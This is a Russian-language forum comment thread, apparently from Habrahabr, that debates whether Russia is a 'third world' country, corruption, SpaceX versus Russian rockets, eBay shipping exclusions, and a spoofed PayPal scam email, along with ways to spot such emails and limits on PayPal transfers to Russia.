Те же деньги которые банк собрал, в том числе и через привлечение вкладчиков, определяют лишь верхнюю границу для суммы кредитов, которые банк может выдать.
mikhanoid
А что люди? Вы за рулем автомобиля по этой стране пробовали ездить? Может быть все кругом ездят соблюдая пдд, никогда не поворачивают со второго ряда, не обгоняют по обочине и т.д. и т.п.? У русского народа была очень тяжелая судьба, вспомните историю. Сначала было татаро-монгольское иго, потом крепостное право. А потом СССР. Русский человек почти тыщу лет был в рабстве (а некоторые и сейчас добровольно в рабство попадают, когда берут ипотеку на много лет). Вот и самоутрерждается народ тем, что нарушает правила (мой пример с ПДД всего лишь одно из проявлений) и живет как хочет, не по порядку. Живут по принципу «мой дом — моя крепость». Вот тут эту мысль А.Лебедев раскрывает: www.youtube.com/watch?v=RxF63VvcJdw
Государство у нас ровно такое, какое народ заслуживает. И я не могу найти никаких аргументов против этого высказывания. Я уверен, что ровно до тех пор, пока в головах наших людей не произойдет кардинальных перемен в нужную сторону (какую я не знаю) — изменений к лучшему не будет.
guessss_who
то есть Вы все же сторонник революций? то есть изменений снизу.
тогда открою Вам одну особенность русского народа.
но сначала обо всех народах.
у каждого народа есть свой любимый способ мобилизации. то есть активизации в случае проблемы. сбора сил. как одного человека, так и группы и народа в целом.
и у разных народов они — разные.
и русских это — поделиться проблемой. «поведать горе».
и обсуждение и четкое выяснение ситуации, кто что сделал и как оно получилось так — это необходимо для принятия правильного решения и действий по устранению.
так что сначала у нас идет — обсуждение проблемы.
и Вы тут пытаетесь его _прекратить_ утверждением, что сначала должно что-то измениться, а потом уж возмущайтесь.
как видите, кривда ваша.

далее. если Вы сравните правила у нас с правилами в странах, где их соблюдают хорошо, вы заметите такой факт.
грубо говоря:
если в Германии увидят протоптанную дорожку на газоне — положат там асвальт. если в России увидят протоптанную дорожку на газоне — поставят забор.
такова у нас ситуация: правила пишут так, что не нарушать их нельзя.
ублюдочные правила.
и люди, конечно, привыкают их нарушать.
потому что постоянно видят пример.
ну как обычный человек может ездить по правилам, когда премьер (всем пример) не ездит по правилам?
ну как можно ездить по правилам не более 90 в любую погоду, когда огромное количество участков трасс и огромное количество автомобилей, которые могут ехать 110 (в этом месте) без ущерба безопасности движения?
и у нас все правила пишутся так, чтобы их нарушать.
законы принимаются так, чтобы их обходить итд. или чтобы ими нарушать. )

ну и Вы несколько не правы насчет истории.
СССР — вот это писец полный, да.
а вот насчет монголов Вы погорячились. очень.
да и крепостное право у нас было куда как более мягким, чем его аналоги в европе. и всего менее 200 лет.
а вот при СССР свободолюбивых повырезали, да.
mikhanoid
Я не имел в виду революцию снизу и вообще какую-либо революцию. Я имел в виду постепенные изменения. Не согласен с довом по поводу правил, писаных так, что их нельзя нарушить.
Я только что вернулся из поездки по Белоруссии. Могу заверить, что правила там почти те же, что и у нас, но нарушают их там единицы. ПДД вообще писаны кровью. Не разумно их нарушать. По привышению скорости могу сказать, что кинетическая энергия автомобиля растет пропорционально квадрату скорости. Т.е. едешь в 2 раза быстрее, а энергия выше в 4. Ограничение скорости 60км/ч в городе — явно не достаточно, т.к. при наезде на пешехода со скоростью 60км/ч вероятность литального исхода составляет примерно 90%, а при скорости 50км/ч уже только 40%. А у нас все смело ездят +20км/ч к дозволенному, а то и 60 кто по-богаче. Садясь в автомобиль (повышенный источник опасности), водитель соглашается с рисками которые при этом возникают. Так зачем же сознательно эти риски увеличивать?
Взятки будут брать ровно до тех пор, пока их дают. По поводу дорожки тоже не совсем ясно. В моем дворе раньше ставили машины на газон, т.к. дорога вдоль дома была очень узкой. При очередной смене асфальта дорогу расширили, и теперь машины стоят на асфальте. То же самое касается и народной тропы, ее так же заасфальтировали и оформили красивым декоративным заборчиком. Дом самый обычный, еще советской постройки, спальный район.
guglez
мой двор. тоже самый обычный. протоптанняа дорожка — так мало того, что заборчики поставили (люди их переступали) — так еще и (в этом году) старательно перекопали, досыпали рыхлой земли и изо всех сил засеяли травкой.

ограничение скорости в черте города 60 км не для того, чтобы «если кто наедет на пешехода, то не насмерть», а для того, чтобы успел остановиться если что. для того, чтобы тормозной путь был короче и заметно снизился шанс наехать на пешехода.

далее, я не зря написал про скорость 90 км/ч. я имел ввиду загородные трассы.
да, пдд написаны кровью.
но. большое волосатое но.
мир не статичен. все меняется со временем.
и влетание в столб на жигулях со скоростью 90 кмч в разы летальнее, чем влетание в столб на хорошей иномарке на скорости 130 кмч.
и это необходимо учитывать.

далее, о взятках.
вы ведь знакомы с таким понятием, как коррупционный потенциал закона?
когда закон написан так, чтобы создать возможность получения взятки.
вот, например, я — ИП. и решил сделать себе рассчетный счет.
а для этого нужна выписка из ЕГРИП не старшке месяца. а в некоторых банках — 2 недель.
а выписка из ЕГРИП делается 5 рабочих дней. то есть неделю.
ну и не буду же я каждый 2 недели на всякий случай ходить в налоговую и брать выписку? :)
так что по умолчанию у меня её нет.
и вот когда она понадобилась — я иду в налоговую. и жду _неделю_.
ну еще можно официально заплатить 500 р и получить выписку завтра.
а можно подойти и решить этот вопрос — если нужно сегодня.
и это пример небольшого коррупционного потенциала закона.
но ведь этот коррупционный потенциал есть — закон меня подталкивает к тому, чтобы дать взятку (либо унижаться и ждать неделю, пока тебе просто листик распечатают).
а есть куда более коррупционно-емкие законы.
когда что-то там оставляется на усмотрение чиновника (сплошь и рядом). и тогда чиновник уже получает возможность почти что вымогать взятку.
babay88
Возражение про трассы. Ехал 130км/ч по новоому участку трассы Киев-Санкт-Петербург. В потоке. Асфальт ровный такой, разметка свежая, не дорога, а картинка. Как вдруг я влетаю в нехилую такую яму. Итог — кривой колесный диск (был бы не штампованный — мог бы вообще расколоться пополам), увод машины влево и биение на руле. Мне повезло что не рвануло колесо. От такой вот подставы ни один мерседес не защищен. Мир вокруг может быть и не статичен, но у нас все как было так и осталось. От ям на дороге не защитит ни какая система безопасности в автомобиле. Только ограничение скорости может хоть как-то обезопасить в такой ситуации.
guglez
на 90 кмч будет не намного лучше.
и… по мне так лучше бы вводили расстрелы за разворовывание гос.денег. тогда бы и дороги хорошие были.
babay88
в общем, СССР еще не закончился. продолжается все то же советское рабство.
guglez
> Государство должно заниматься только внешней безопасностью (армией), внутренней безопасностью (полицией) и устанавливать правила игры (судебная система).

Хорошо, пусть занимается хотя бы этим. Когда начнет?
babay88
Тогда когда вы его заставите. Глупо сидеть и ждать что чиновники сами собой без всякого давления среды бросят скупать виллы и начнут заботится о ваших интересах.
babay88
К сожалению, в России, как я помню, до сих пор не разрешена свободная продажа огнестрельного оружия ;-}
romx
Вы удивитесь, но купить оружие в России можно вполне свободно и легально
Ingolmo
Это не так. Вы можете купить охотничье оружие (ружья, карабины, etc) и всячески его проапгрейдить (поставить оптику, например).
romx
Хочу булаву для рыбалки в особо крупных размерах…
grreg
А я вот всё время думал — государство должно создавать условия для процесса течения жизни или всё таки (если сравнивать с живым организмом) — контролировать все процессы связанные со страной?

Просто если человечество хочет создать правильную систему для жизни — то надо выбрать — либо пусть оно создает условия, либо как «хозяин живого организма» следит за здоровьем тела.

p.s. просто мысли вслух
ppiskun
государство должно выполнять те функции, которые ему делегирует население.
не более не менее.
theelephant
> Государство не должно заниматься пенсиями и НИИ. 95% чиновников тоже не нужны.

Вы говорите, о том как все должно и не должно быть. В то время как вам говорят как есть сейчас.

> Государство должно заниматься только внешней безопасностью (армией), внутренней безопасностью (полицией) и устанавливать правила игры (судебная система).

Есть очень много форм правления, вы описали одну из них.

> habrahabr.ru/blogs/infosecurity/123600/#comment_4072297

Да, потому, что Россия это не только государство, но и все остальное.
grigor007
Россия — Нигерия

Население: 140м — 149м
Смертность на тысячу: 16 — 16
Инфляция: 14% — 12%
Индекс неравенства: 41 — 43
Скорость прироста ВНП: 5,6% — 5,3%
Уровень коррупции: 2,1 — 2,4 (по шкале от 10 [нет коррупции] до 0)

Только вот прирост населения в России отрицательный, а в Нигерии положительный.
babay88
Ну и? Взять часть фактов, тупо поставить рядом, не сделать выводов и сказать «вот видите?!» — классный приём, ага.

Продолжу его использовать для доказательства кровавости Самой Кровавой Гэбни На Свете:
Россия — Нигерия
Ожидаемая продолжительность жизни по населению, лет: 66.2 — 47.6
Детская смертность на тысячу: 10 — 92
ВВП на душу населения, $: 15.900 — 2.500
Населения за чертой бедности, %: 13 — 70
Данные, кстати, взял для честности у Самого Непредвзятого Светоча Правды и Трушной Демократии — Фактбука ЦРУ.

Сразу видно, что в Нигерии круче, да. Можно даже поговорку уже начать менять:
Чемодан, порт, Нигерия!

andoriyu
Вор-патриот? )
mikhanoid
Если хотите, Медвепут лично.

Было даже оскорбился на «вора» и уже начал писать что-то оскорбительное в пылу интернет-срача, но вспомнил про свой ник, чёрт побери. Дело ведь в нём, да? :)
bubuq
Типа шутка, ага.
Но к теме стран третьего мира, гордиться нам тут на самом деле нечем. Американцы точно так же не отправляют посылки в Россию.
Факты говорят за себя, выводы каждый делает сам.
VORus
добавил в избранное.
DnV
Пруф можно? Не подумайте что придираюсь, просто хочется посмотреть, может там еще что интересное есть.
VORus
Брал в CIA World fact book.

Ещё всякие интересности по России можно подсмотреть у службы госстатистики, про бюджеты регионов у Минфина, на закуску поиграться с Gapminder.
DnV
Вот очень подробный рейтинг России по разным показателям. Достоверность неизвестная, но не сказать что много невероятного :) Объем статистики приличный
Loci
Не очень понимаю как этот нейтральный комментарий набрал 47 минусов. Я знаю, сейчас модно шутить про третий мир, действительно не все хорошо, но про монополию в космосе — это правда.
rdolgov
Если разобратсья поглубже, то получаем что наши ракеты — одноразовые. Шаттлы — многоразовые. И более того — в США сейчас остановлено гос. финансирование по той причине, что частные компании уже почти освоили самостоятельное производство систем вывода грузов и людей в космос, и США в будущем будет закупать это у них. То, что сейчас используются российские ракеты — просто перевалочный момент, и не стоит этим так гордиться не разобравшись окончательно в причинах.
VORus
это «почти освоили» уже лет 10 как. а наши как летали так и летают. без почти. разницу чувствуете?
arkady
У них гос-во тоже как летало так и может продолжить летать. А свернули финансирование потому что появились уже опытные образцы от коммерческих корпораций, которые благополучно отработали тестовые полеты.
Postsantum
Через годик вернемся к теме.
VenomBlood
А чего возвращаться? Space-X, компания из Калифорнии, уже освоила вывод грузов на орбиту и меет РН как для тяжелый грузов, так и «легких», так же они имеют модули для транспортировки людей. (Для честности Falcon-9, РН для тяжелый грузов, будет испытана только 2012-2013 году, однако Falcon-1 полностью испытана и уже выводила на орбиту беспилотный Dragon ), однако из КА Dragon уже соответствует требованиям NASA.

Стоит ли говорить, что США помимо выводов спутников на орбиту (а именно этим сейчас и занимается Россия) возобновляет «Созвездие» (ну ок, переосмысливает) И это я не вдаюсь в подробности о Российских(советских) РН.

Кстати о странах 3 мира: www.bbc.co.uk/russian/business/2011/07/110712_russian_transport_business_problems.shtml
> «Есть глобальная тенденция: самолеты, которые отлетали в Северной Америке или Европе, уходят в страны третьего мира. В плане авиации Россия — четкая страна третьего мира, — объясняет Велович.
grreg
Неа. Именно на орбиту никто у них ещё грузы не выводил. Были суборбитальные полёты.

А эффективный вывод на орбиту — это очень сложное мероприятие на самом деле. И нельзя вот просто так взять и вывести. Тут нужно сотрудничество тьмы организаций: синоптиков, математиков (чтобы управление просчитать), точных механиков и т.д. и т.п.

Не, конечно, будет круто, если все эти технологии окажутся доступными частным организациями, но чего-то я сомневаюсь, что финансирование Шаттлов было прекращено именно из-за того, что США прямо таки верит, что частная космонавтика выстрелит в ближайщие 5 лет. Шаттлы — это просто офигенски неэффективная система и опасная — дружно вспоминаем термоизоляцию шаттлов. Одноразовая техника и дешевле, и эффективнее, и надёжнее. Как бы… Многоразовые шприцы тоже существуют, только кому они нужны со своими ненадёжными циклами стериализации?

Кроме того, США официально объявили, что у них приоритет в космонавтике теперь — это беспилотные полёты и роботы.
VenomBlood
> А эффективный вывод на орбиту — это очень сложное мероприятие на самом деле. И нельзя вот просто так взять и вывести. Тут нужно сотрудничество тьмы организаций: синоптиков, математиков (чтобы управление просчитать), точных механиков и т.д. и т.п.

и? Я понимаю, что вы считаете это не возможным так, как живете в России. Да, у нас это не возможно.

> Не, конечно, будет круто, если все эти технологии окажутся доступными частным организациями, но чего-то я сомневаюсь, что финансирование Шаттлов было прекращено именно из-за того, что США прямо таки верит, что частная космонавтика выстрелит в ближайщие 5 лет.

Я уже говорил, что Falcon-9 будет уже в 2013 выводить грузы на орбиту? (после тестового вывоза на МКС груза в 2011-2012 году)

> Именно на орбиту никто у них ещё грузы не выводил. Были суборбитальные полёты.

С каких пор эллиптическая орбита перестала быть орбитой?

> Кроме того, США официально объявили, что у них приоритет в космонавтике теперь — это беспилотные полёты и роботы.

Кроме того, США официально объявили, что строют еще один многоразовый КА
grreg
С каких пор эллиптическая орбита перестала быть орбитой?

Эмс… Видимо, я пропустил новость про то, что они летали таки… Ссылкой не поделитесь? Интересно.

Кроме того, США официально объявили, что строют еще один многоразовый КА

Эмс… Опять же, можно ссылку? Видимо, NASA здоровая — за всем не уследишь. Я видел только объявление о намерениях разработать многоразовый возвращаемы модуль… А они уже строят новый корабль. Интересно было бы почитать подробности.

Я уже говорил, что Falcon-9 будет уже в 2013 выводить грузы на орбиту? (после тестового вывоза на МКС груза в 2011-2012 году

Когда говорят 'будет' и не приводят никакой технической документации — это всегда вызывает сомнения. Ибо всё это смахивает на PR и попытку вызвать хайп. Вот когда груз будет доставлен, тогда и можно будет радоваться и праздновать. А пока, конечно, они нереально круты, что сумели запустить нечто в космос. Но чтобы сравнится с нашими ракетами по функциональности?.. Сомневаюсь.

и? Я понимаю, что вы считаете это не возможным так, как живете в России. Да, у нас это не возможно.

Бред :) У нас-то как раз это возможно, ибо ракеты строятся и успешно (то, что иногда происходят ошибки, так они у всех бывают, просто нормальные нации себе прощают ошибки, а мы почему-то так любим в них ковыряться и забивать на успехи свои — это я просто смотрю на оценки, которые комментариям выставлены) запускаются.

Но вне зависимости от страны проживания невозможно нормальный запуск осуществить силами одной небольшой компании, да ещё и при помощи неуправляемой ракеты. Чтобы запуск расчитать надо очень тесный контакт иметь с кучей служб… То, что Space-X осуществит запуск лучше самой NASA — это примерно то же самое, что сейчас какая-нибудь мелкая фирма возьмёт да и победит Боинг в деле пассажирского самолётостроения. Да в Боинге об аэродинамике забыли уже больше, чем эта фирма сможет узнать в первые 20 лет своей работы.

Не, вера в частный космос — это прекрасно. Я вот тоже верю. Но рано ещё… Эти все стартапы ещё нужно кормить с государственной ложечки лет 10, прежде чем доверять им серьёзное что-нибудь. Скорее всего, да, они дорастут до этого. Но… Почему нужно обязательно верить в то, что наш Росавиакосмос застынет в своём развитии? И что через 10 лет не будет у него отличных проектов? Эх… Задолбало уже это российское неверие в самих себя.

Да блин. Те же стартапы: предлагаешь инвестору реально нечто необычное, ну да, рисковое, но оно же на то и стартап, а он сразу нос воротит, типа, этого ж у них там не делали, значит, и мы не будем… Вот не надоело совкам ещё в догонялки играть :( Печально.
andoriyu
> Эмс… Видимо, я пропустил новость про то, что они летали таки… Ссылкой не поделитесь? Интересно.

Была статья на BBC. Искать не хочу, но вот другая статья вроде бы о том же запуске (всего их было 2) www.spaceflightnow.com/falcon/005/

> Эмс… Опять же, можно ссылку? Видимо, NASA здоровая — за всем не уследишь. Я видел только объявление о намерениях разработать многоразовый возвращаемы модуль… А они уже строят новый корабль. Интересно было бы почитать подробности.

Тут я случайно отправил сообщение не закончив его. Я хотел сказать, что они заявили о постройке многоцелевого КА на базе Орион. На первых этапах это будет спасательный модуль на МКС. www.bbc.co.uk/russian/science/2011/05/110525_nasa_new_spaceship.shtml

> Когда говорят 'будет' и не приводят никакой технической документации — это всегда вызывает сомнения. Ибо всё это смахивает на PR и попытку вызвать хайп. Вот когда груз будет доставлен, тогда и можно будет радоваться и праздновать. А пока, конечно, они нереально круты, что сумели запустить нечто в космос. Но чтобы сравнится с нашими ракетами по функциональности?.. Сомневаюсь.

Контракт с NASA уже подписан. Что касается Falcon-1 то есть контракт на запуск 18 спутников ORBCOMM подписан. (http://www.spacex.com/press.php?page=20090903)

> Бред :) У нас-то как раз это возможно, ибо ракеты строятся и успешно (то, что иногда происходят ошибки, так они у всех бывают, просто нормальные нации себе прощают ошибки, а мы почему-то так любим в них ковыряться и забивать на успехи свои — это я просто смотрю на оценки, которые комментариям выставлены) запускаются.

Не верно. Да, у нас много РН в разработке, но они все разрабатываются «большими» КБ. А то, что летает сейчас это наследие СССР хоть и с большими доработками. Напомню, что владелец Space-X это основатель Paypal.

> Но вне зависимости от страны проживания невозможно нормальный запуск осуществить силами одной небольшой компании, да ещё и при помощи неуправляемой ракеты. Чтобы запуск расчитать надо очень тесный контакт иметь с кучей служб… То, что Space-X осуществит запуск лучше самой NASA — это примерно то же самое, что сейчас какая-нибудь мелкая фирма возьмёт да и победит Боинг в деле пассажирского самолётостроения. Да в Боинге об аэродинамике забыли уже больше, чем эта фирма сможет узнать в первые 20 лет своей работы.

В этом вся разница. В случае США это возможно, а у нас бюджет проекта утечет на взятки и откаты.

> Да блин. Те же стартапы: предлагаешь инвестору реально нечто необычное, ну да, рисковое, но оно же на то и стартап, а он сразу нос воротит, типа, этого ж у них там не делали, значит, и мы не будем… Вот не надоело совкам ещё в догонялки играть :( Печально.

Я не играю. Я просто говорю, что ваши данные о частном космосе устарели и не соответствуют действительности.
mikhanoid
Я не играю. Я просто говорю, что ваши данные о частном космосе устарели и не соответствуют действительности.

Так у меня те же самые данные, что у Вас. Просто Вы их интерпретируете восторженно, а я скептически. То, что про Space-X рассказывала BBC, я читал, и там речь шла именно о суборбитальном неуправляемом полёте, который они 13 июня прошлого года осуществили.

В этом вся разница. В случае США это возможно, а у нас бюджет проекта утечет на взятки и откаты.

Дак тут дело не в деньгах, а в людях. При чём тут откаты? Я Вам говорю, что дело в связях между специалистами, а Вы опять про деньги. Деньги сами по себе ракету не построят. Будь то деньги основателя PayPal, или наши — нефтяные. Люди нужны.

Если Space-X докажет, что можно небольшой командой осуществить нормальный запуск — будет замечательно. Просто сомнительно. У нас вот в городе, например, есть команда небольшая, которая строит самолёт. И они даже определённых успехов добились, и у них он летает и показывает хорошие ТТХ, но это не Боинг-747. Это Сесна для личного использования. А космическая техника — это как Боинг при современном уровне развития технологий. А Space-X — это как наши самолётостроители. Летает ли у них машина? — Летает замечательно. Разовьются ли они до уровня Боинг? Может быть, но уж точно не завтра.

А насчёт контрактов… Ну, после того, как D-Wave впарила свой чёрный ящик Локхид Мартину, я как-то веру в то, что они там все живут без откатов и коррупции потерял.

Условия этого контракта нам не известны. Ответственность сторон — тоже. Я повторюсь: когда они доставят груз на МКС — я возрадуюсь, даже вне зависимости, в этом году или через 10 лет, потому что это реально будет великим техно-социальным достижением и мозги очень хорошо встряхнёт всему человечеству… Но мне просто не верится, что это будет уже «завтра».
andoriyu
> Так у меня те же самые данные, что у Вас. Просто Вы их интерпретируете восторженно, а я скептически. То, что про Space-X рассказывала BBC, я читал, и там речь шла именно о суборбитальном неуправляемом полёте, который они 13 июня прошлого года осуществили.

У Space-X было больше 1 успешного запуска. Один из них был на эллиптическая орбиту.

> Дак тут дело не в деньгах, а в людях. При чём тут откаты? Я Вам говорю, что дело в связях между специалистами, а Вы опять про деньги. Деньги сами по себе ракету не построят. Будь то деньги основателя PayPal, или наши — нефтяные. Люди нужны.

Теперь вы говорите, что в РФ нет людей которые могут построить ракету?

> Если Space-X докажет, что можно небольшой командой осуществить нормальный запуск — будет замечательно. Просто сомнительно. У нас вот в городе, например, есть команда небольшая, которая строит самолёт. И они даже определённых успехов добились, и у них он летает и показывает хорошие ТТХ, но это не Боинг-747. Это Сесна для личного использования. А космическая техника — это как Боинг при современном уровне развития технологий. А Space-X — это как наши самолётостроители. Летает ли у них машина? — Летает замечательно. Разовьются ли они до уровня Боинг? Может быть, но уж точно не завтра.

Посмотрели бы какой штат у Space-X…

> А насчёт контрактов… Ну, после того, как D-Wave впарила свой чёрный ящик Локхид Мартину, я как-то веру в то, что они там все живут без откатов и коррупции потерял.

К теме не относится…

> Но мне просто не верится, что это будет уже «завтра».

Факты говорят обратное.
mikhanoid
Если собрать всю энергию негодования в народных масс за бесцельно потраченные деньги, и придать её сферическому чиновнику в вакууме, то он легко выйдет на орбиту и еще сможет вести over 9000 кило полезного груза или же сферический автобус таких-же чиновников. Вот за чем будущее!
andoriyu
А, может, народу надо энергию в дело вкладывать? Я вот лично тоже не особо в восторге от чиновников, и тоже не упускаю случая сделать какую-нить пакость в их адрес, но, может быть, всю эту энергию ненависти направить в созидательное русло.

Просто, в любом же случае, чтобы противостоять гос-аппарату нужна сила, экономическая или физическая. При чём первая предпочтительнее… Ну так надо просто забивать на чиновников, объединятся, что-то делать. От лучей ненависти толку всё-равно не будет.
mikhanoid
www.bbc.co.uk/news/science-environment-14012131

> Кроме того, США официально объявили, что у них приоритет в космонавтике теперь — это беспилотные полёты и роботы.

Не нашел подтверждений этой информации.
andoriyu
С одноразовостью и многоразовостью аккуратнее. Ибо цель — вывести на заданную орбиту полезный груз заданной массы. На практике оказалось, что многоразовыми кораблями достижение этой цели дороже.
theelephant
Да да, нано дуршлаки тоже в России сделаны, потому что «нано-интернет» нихуя не работает
mikhanoid
Все гораздо проще. Смотрим где мы находимся хотя бы в рейтинге HID, становится понятно какого мы мира. Если и не самого «третьего», но где-то во «вторых» снизу.
andoriyu
В современной России, конечно, очень много острых проблем, тем не менее сравнивать её с Кенией или Нигерией, странами которые никакого значительно вклада в мировую цивилизацию не сделали и не сделают, мягко говоря не корректно.

К сожалению, негативно-пессимистичное отношение к собственной стране — один из симптомов нынешнего упадка. Нельзя ожидать возрождения пока люди в массе своей предпочитают остроты о подводных группировках напряжённому труду и развитию своего потенциала.
Bonart
Ну как же, а Обама… вполне себе вклад Кении =)
windofchange
Ап. Видно, кто то не разделяет ваших взглядов.
Vilgelm
На самом деле всё что я хотел сказать, это то, что нельзя всё под одну гребёнку под названием «третий мир» опускать. Вон, Китай тоже «третий мир» считается, да вот только все ему (во всяком случае в экономическом плане) завидуют. Меня же видимо восприняли как хейтера России, хотя я наоборот её очень люблю, и валить за рубеж, как делают многие здесь же, не собираюсь.

PS: спасибо.
Ingolmo
Это тут всегда так.
iTs
По-определению это страна второго мира. Разделение на первый (западный капиталистический мир), второй (СССР+ соцлагерь) и третий — все остальное возникло в эпоху холодной войны и отражает не экономическое развитие, а просто некие идеологические ценности.
Китай и Индия, кстати — это третий мир, чтоб никому не обидно было.

Очевидно, данная классификация уже устарела и пользоваться ей неправильно.
Evengard
Не совсем. Есть экономическая классификация, при которых есть разделение на государства с развитой экономикой, переходной и развивающейся. Всё это условно и ни о чём толком не говорит, кроме индексов типа HID. Среди развитых стран, то есть в популярной классификации «страна первого мира», есть такие государства типа Монако, Люксембурга и Лихтенштейна, которые полностью зависят от своих соседей и свой индекс в ванильных условиях не выдержат, но всем как обычно. Поэтому классификации чрезвычайно грубы, и оценивают не сколько страну, а сколько совокупность (как в случае с Монако и т. п. понятно, что без ЕС и прочих организаций взаимопомощи, указанные страны скатятся в страны третьего мира).
У России огромный потенциал, несмотря на то, что он изрядно просел после развала СССР, и в развитии страна порядком отстала.
pnick
Япония, ЮКорея, Сингапур, Австралия — страны третьего мира?)
Evengard
А каким образом деньги получали от продажи? Через Moneybookers?
Deranged
некоторые считают эту страну страной третьего мира, нам тоже нельзя доверять?
powder96
конечно
gleb_kudr
Я более чем уверен что эти мошенники на самом деле русские.
Mairon
У молотка же русскоязычный интерфейс, то есть, вероятность того, что это русские максимальна.
Хотя нафига им товар в Нигерию)
uups
думаете, там некуда деть ноут?
chernish2
Я в процессе чтения поста тоже к этому выводу пришел.
Одни троеточия чего стоят. По-моему, количество троеточий говорит о том, что писали братья славяне. Это довольно славянская черта натыкать их, где можно и где нельзя, если ленишься сформулировать предложение хорошим языком со всеми оборотами. ))

Да и вообще посмотрите на стилистику. Посмотрите на то, сколько точек отсутствуют. Да, англоговорящие не любят запятых и принебригают ими, но за точками стараются следить. Без связи с тем, кем является твой учитель.
interrupt_controller
Многоточия это признак неграмотного английского. Никакой национальной окраски, по моему скромному разумению (и опыту) они не несут.
bondbig
Многоточия
ArtemSmirnov
отточия
Rambot
чорт…
bormotov
Кто-то до сих пор не считает?
ArMikael
Ни в кое случае. Доверие покупателю здесь будет лишним на все 100%. Доверяйте себе и суммам перечисленным на счёт.
sigizmund
А нам и не доверяют.
ValdikSS
Почта россии будет покруче нигерийских мошенников
bubuq
Очень многие не доверяют России и небезосновательно. Недавний случай — спёрли iPhone 4 из коробки. Почтовики развели руками. Есстественно, я трясу сейчас деньги с продавца через PayPal. Что не прибавляет рейтинга мне и России в общем.
3/4 международных лотов отправляются по всему миру кроме России.
russum
И Нигерии)
uups
У коллеги тоже 2 мес назад сперли iPhone 3g (подменили на чехол в пакете с русской символикой). Брал через ebay. Почтовики говорят, что это таможенники подменили. PayPal вернул деньги.
MiXei4
Это вы сейчас про Россию?
Ayahuaska
СНГ
Hayden
ПИШУ ЗДЕСЬ ДЛЯ ПРИВЛЕЧЕНИЯ ВНИМАНИЯ
1 мир — За́падный мир
2 мир — Социалистические страны
3 мир — Страны не имевшие отношения к холодно войне
4 мир — Беднейшие страны
Формально мы второй мир, реально мы для всех иностранцев мошенники
hotach
Все верно, поэтому на ebay у большинства лотов доставка: Worldwide, Exclude: Nigeria, Russian Federation.
pnick
Вранье про большинство.
Большинство лотов либо US only, либо Worldwide либо развитые страны(US, Европа, Япония и пр).
У тех продавцов, которые отправляют в развитые страны в исключениях будут десятки а то и сотни стран.
Еще обычно, если в списке ограничения всего несколько стран там есть Италия.
4NATIC
Письмо пришло не от service@paypal.com, а от enquier@consultant.com.
Horzerus
Кстати я порой поражаюсь изобретательности мошенников и спамеров, вместо того чтобы воспользоваться уязвимостями протокола они шлют с непонятных адресов.
Nesp
Имхо — можешь эксплуатировать уязвимости протоколов — такой фигнёй страдать не будешь. Ей страдают очень недалёкие товарищи.
ArtemSmirnov
Это понятно. Gmail показал это. Но если всё происходит в запарке или продавец не опытный, он обратит внимание на выделенный зелёным адрес. Плюс в общем списке писем как раз service@paypal.com отображается.
ArtemSmirnov
На такой случай в gmail есть значёк верифицированного отправителя.

amxm
Там должен был быть зачёркнутый красный кружочек. Лично мне бы он бросился в глаза и насторожил бы, когда очередное письмо пришло от того же пейпала, но не было на этот раз верифицировано.

Значок «предупреждение» (восклицательный знак) с подсказкой при наведении тоже бы выполнил эту функцию.
uups
А его как-то включать надо? А то у себя посмотрел — нет ничего похожего. Все e-mail'ы выглядят одинаково.
red1ynx
Сам себе отвечу: включается через Labs, опция «Authentication icon for verified senders»
ArtemSmirnov
Работает, насколько помню, только для eBay и PayPal. Можно поправить, если неправ.
pnick
Кто бы мог подумать что нигерийцы и до молотка доберутся.
pnick
Да 9/10 что это Русские. Или русские помощники нигерийцев.
mikes
Они уже года 2 как добрались до русских площадок.
kachkaev
А как можно через PayPal получать переводы в Россию/Украину? Разрешили уже?
kachkaev
А мне не нужно на карту. Деньги бы на счёте PayPal остались и я с них уже что то купил. А так — нет, не разрешают. Только возвраты.
qehgt
а так можно? я вродебы давал комуто свой пейпал, но перевести у них на мой Украинский аккаунт так и не получилось…
qehgt
Даёшь свой ID, тебе делают прямой перевод, деньги появляются на твоём счете. Вывести на карту напрямую нельзя, а вот покупку на них сделать можно.
Smerig
Общался с саппортом пайпала, уверяли в обратном.
www.paypal.com/us/cgi-bin/webscr?cmd=_display-country-functionality-outside
Вот тут также указано, что акаунт из РФ принять перевод не может.
iamAnton
Вы заблуждаетесь. Даже если аккаунт будет зарегистрирован на американский адрес, с американского IP, без вериации (картой зарубежного банка или переводом на счет зарубежного банка), вы ничего с этими деньгами сделать не сможете (в том числе и тратить на покупки). А если акк изначально привязан к русско (му акку, перевод будет заблокирован.
pnick
Может быть, вы заблуждаетесь?
uups
выдаст «нельзя переводить этому пользователю» или что-то типа

Antigluk
И переведите на email зарегистрированный в России или в Украине.
Вот здесь написано куда можно отправлять www.paypal.com/worldwide/

Вы сначала прочитайте в каком контексте я отвечал на сообщение (имел ввиду, что человек переводит в РФ или Украину).
pnick
Вы абсолютно правы. А я преступно неправ в отношении русских акков. Сейчас попробовал с американского на свой личный отправить — получил ошибку. Обратно работает.
Оправдаюсь тем, что 9/10 времени с американским работаю. А на личный деньги получаю рефундами. Вот и попуталось :(
Quadratoff
Мне продавец возвращал деньги через PayPal если покупка срывалась не по моей вине.
pnick
Причем здесь рефанды? Читайте мой комментарий выше habrahabr.ru/blogs/infosecurity/123600/#comment_4072461
Я с пейпелом довольно близко работал.
kernel_panic
Так именно перевод денег на палковский счёт и был запрещён (причём со всех сторон — со свой карты на свой же счёт тоже). Только прямая оплата в одну сторону. «Разрешили уже?» (ц)
MaxUp
Может и не в тему, но вот вопрос насчет отправки товаров из России за границу. Не подскажете, есть ли какие-нибудь магазины занимающиеся отправкой товаров в пределах СНГ, подумываю купить Азбуку, а где, и что не знаю… К сожалению ни в Украине ни в России никого нету.
n3m0
Поищите объявления о продаже. Многие магазины так пиарятся. Я сейчас думаю о читалке, но если и буду заказывать, то никак не азбуку и не в России.
Рейтинг читалок от Exler — почитайте, полезный материал.
pnick
Возьмите nook
Ryotsuke
Кстати в gmail labs есть «Значок проверенного сообщения» который «Отображает значок ключа рядом с проверенными сообщениями от определенных отправителей, за которых часто выдают себя спамеры. В настоящее время работает только для писем от PayPal и eBay.»
n3m0
Спасибо, подключил.
pnick
Жаль что шипинг дорого стоит, можно было бы отправить им деревянный мужской половой орган с пометкой «from russia with love»… Жаль лица в таком случае не увидите.
iblesq
:-D Спасибо за отличную идею. Шипинг в штаты из Самары (0.5кг) стоит 317 рублей. Орган — ±500р. Я готов потратиться ради такого дела.
n3m0
Не за что :) Скиньте потом трекинг этого дела. Будем наблюдать :)
dime
Шипинг в штаты из Самары (0.5кг) стоит 317 рублей. Орган — ±500р.

